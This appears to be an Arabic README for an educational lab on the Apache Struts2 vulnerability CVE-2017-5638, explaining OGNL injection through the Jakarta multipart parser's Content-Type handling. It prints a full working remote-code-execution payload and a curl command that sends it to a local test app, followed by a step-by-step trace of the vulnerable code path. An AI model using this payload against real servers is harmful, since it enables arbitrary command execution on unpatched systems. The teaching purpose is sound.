
تطبيق Struts2 معرض لثغرة CVE-2017-5638. يشرح كيفية عمل استغلال الثغرة فيما يتعلق بـ OGNL ومحلل JakartaMultiPart.
هذا مخصص للأغراض التعليمية والبحثية فقط. لا أأذن أو أوافق على أي استخدام غير قانوني أو غير أخلاقي لمحتويات هذا المشروع أو معلوماته
لتشغيل تطبيق الويب:
لإرسال الأوامر استخدم محاكي سطر الأوامر (Send.jar) المشروع:
العنوان الافتراضي للرابط هو http://localhost:8080/MSCybersecurity/exploit، يجب أن تكون على نقطة النهاية /exploit

إذا أردت تعديل هذا المصدر، يستخدم المشروع نظام بناء Maven:
NVD CVE-2017-5638
الجانب الذكي من هذه الثغرة هو استغلال OGNL (مكتبة التنقل البياني للكائنات).
تستخدم OGNL تعبيرات لأداء المهام، ومن بين التعبيرات المسموح بها القدرة على استدعاء فئات عشوائية في الإطار، وتسلسل الأحداث. دليل مرجعي OGNL Language Guide.
على سبيل المثال، من الممكن إنشاء كائن edu.uvu.ms.cybersecurity.Command باستخدام OGNL
// تعبير OGNL لإنشاء كائن Command
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
فئة edu.uvu.ms.cybersecurity.Command
// Command ببساطة يطبع وسيطة cmd التي تم تمريرها من تعبير OGNL
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
أو، بشكل أكثر عملية، يمكن استدعاء فئة java.lang.ProcessBuilder لتشغيل أوامر على مستوى النظام
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
تحتوي الحمولة التالية على أمر لاستدعاء edu.uvu.ms.cybersecurity.Command وطباعة الأمر المُرسل إلى الخادم في وحدة التحكم، ثم متابعة تنفيذ الأمر (لتوضيح تسلسل الأحداث واستدعاء الفئات):
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
توصيل الحمولة باستخدام CURL
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
جزء من هذه الحمولة تم سحبه من Rapid7 GitHub
محلل Jakarta MultiPart:
المشكلة تكمن في كيفية عدم تعامل المحلل مع القيم الواردة في رأس Content-Type. وهذا يعني أنه يمكن تضمين تعبير OGNL في رأس المحتوى. عندما يتم تحديد أن الرأس هو MultiPart، يتم إرساله إلى فئة OgnlTextParser.class، التي تفسر تعبير OGNL وتنتهي بتنفيذ أوامر عشوائية.
فيما يلي نظرة خطوة بخطوة لكيفية استغلال هذه الثغرة.
الموزع Struts2: org.apache.struts2.dispatcher.Dispatcher
يستقبل الموزع Dispatcher.class الطلب، ويحدد أنه يجب معالجته بواسطة مكتبة JakartaMultiPart ويستدعي مُنشئ MultiPartRequestWrapper()

ثم يتم تمرير تعبير OGNL من رأس Content-Type إلى طريقة parse(). نظراً لأن معلومات الرأس سيئة، سيرفع المحلل استثناءً ويستدعي طريقة buildErrorMessage()

تحاول طريقة buildErrorMessage() العثور على رسالة خطأ مناسبة لإعادتها إلى المستخدم، ولكن للقيام بذلك، عليها استخدام طريقة findText() في فئة LocalizedTextUtil.class

طريقة findText في فئة LocalizedTextUtil.class ستستدعي بدورها getDefaultMessage() وتمرير معلومات Content-Type

ثم ستقوم طريقة getDefaultMessage() بتفويض المهمة إلى طريقة translateVariables() في فئة TextParseUtil.class

طريقة translateVariables() في فئة TextParseUtil.class تفوض إلى طريقة evaluate في فئة OgnlTextParser.class

النتيجة هي أن أي تعبيرات OGNL يتم تنفيذها الآن
